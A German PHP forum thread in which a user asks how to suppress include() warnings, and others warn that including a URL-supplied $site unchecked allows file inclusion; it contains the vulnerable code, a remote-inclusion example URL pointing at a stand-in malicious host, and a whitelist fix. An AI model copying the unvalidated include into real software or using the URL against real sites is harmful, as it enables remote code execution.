Ankündigung

Einklappen
Keine Ankündigung bisher.

Include fehler abfangen?

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Include fehler abfangen?

    hi,

    also kein problem mit script, das funzt 1A, wollte nur wissen wie man fehler von inclue() abfängt,
    ich prbier es so:
    PHP-Code:
    <?php
    if (!@include $site.'.php')
          {
          echo 
    "Fehler: Die Seite existiert [b]nicht[/b]!
    "
    ;
          echo 
    '[url="JavaScript:history.back();"]Zurück zur letzten Seite[/url]';
          }
    ?>
    es wird auch alles angezeigt, leider etwas zu viel,
    Code:
    Warning: Failed opening 'news.php' for inclusion (include_path='.;c:\php4\pear') in c:\foxserv\www\wc3\index.php on line 73
    404 Fehler: Die Seite existiert nicht!
    Zurück zur letzten Seite
    das
    Code:
    Fehler: Die Seite existiert nicht!
    Zurück zur letzten Seite
    soll stehen bleiben, nur der rest net, könnt ihr mir helfen???

    danke im voraus!

    p.s: Diesmal kein doppelpost, versprochen!!

  • #2
    mach doch einfach
    PHP-Code:
    <?php
    if (!file_exists($site.'.php'))
          {
          echo 
    "Fehler: Die Seite existiert [b]nicht[/b]!
    "
    ;
          echo 
    '[url="JavaScript:history.back();"]Zurück zur letzten Seite[/url]';
    } else {
          include 
    $site.'.php';
    }
    ?>
    [edit]

    O.o, mein tausendster Post

    Kommentar


    • #3
      Ich will aber hoffen, dass $site nicht ungeprüft über die URL in das Script kommt, oder?

      Gruß
      phpfan

      Kommentar


      • #4
        @phpfan, ahhhhh doch is das schlimm?

        Kommentar


        • #5
          Dann überlege, was z.B. mit so einem Aufruf passiert:

          index.php?site=index

          Mir fallen da auch noch andere böse Sachen ein, die ich aber hier lieber nicht schreibe.
          PHP-Code:
          <?
               if (isset($_GET['site']))
               {
                    switch ($_GET['site'])
                    {
                        case 'news' : $include = "news.php"; break;
                        case 'gbook': $include = "gbook.php"; break;
                        default: $include = "home.php";
                    }
               }
               else
                  $include = "home.php";

               include ($include);
          ?>
          Gruß
          phpfan

          Kommentar


          • #6
            da wird doch nur ne variable über die url übergeben?? oder net? is doch nix schlimmes

            Kommentar


            • #7
              index.php?include=http://www.boeseseite.de/boesesscrip


              und jetzt?

              Kommentar


              • #8
                Zitat von fadass
                da wird doch nur ne variable über die url übergeben?? oder net? is doch nix schlimmes
                Nochmal!!! Was passiert bei einem Aufruf der Datei index.php, wenn die URL manipuliert wird und so aussieht

                index.php?site=index

                und in der index.php ungeprüft das steht:

                include $site.'.php';

                Gruß
                phpfan

                Kommentar


                • #9
                  da wird die seite $site included hia der code
                  PHP-Code:
                  <?php
                      
                  if(!isset($site)) $site "news";

                           
                  $mysql_ok strstr($site,":");
                           if(
                  $mysql_ok != FALSE$site "news";
                                        include(
                  $site.".php");
                        if (!@include 
                  $site.'.php')
                        {
                        echo 
                  "Fehler: Die Seite existiert [b]nicht[/b]!
                  "
                  ;
                        echo 
                  '[url="JavaScript:history.back();"]Zurück zur letzten Seite[/url]';
                        } 

                         
                  ?>

                  Kommentar


                  • #10
                    hallo?

                    wenn ers so macht wie in meinem beispiel kann der einfach beliebigen code auf deinem server ausführen!!!!

                    Kommentar


                    • #11
                      Zitat von fadass
                      da wird die seite $site included hia der code
                      Sag' mal, hast du das Mitdenken komplett abgeschaltet???

                      Nimm dieses kleine Script, speichere es als test.php ab und rufe es mit test.php?site=test auf:
                      PHP-Code:
                      <?
                         echo $_SERVER['PHP_SELF'] . "
                      ";
                         
                         include ($_GET['site'] . ".php");
                      ?>
                      Und das ist noch die harmloseste aller Varianten.

                      Gruß
                      phpfan

                      Kommentar


                      • #12
                        und da normalerweise ein timeout eingestellt ist auch nicht besonders schlimm

                        Kommentar


                        • #13
                          ach, pfui, egal wird sowiso net online gestellt, is eine intranet site, von daher isses mir egal

                          Kommentar


                          • #14
                            Zitat von fadass
                            ach, pfui, egal wird sowiso net online gestellt, is eine intranet site, von daher isses mir egal
                            Na, das ist mal eine Begründung, um ein besch.... Script zu schreiben.

                            Gruß
                            phpfan

                            Kommentar


                            • #15
                              jo, nagut ich sehs ein
                              ich wer ein anderes script schreiben, trotzdem danke für die warnung

                              Kommentar

                              Lädt...
                              X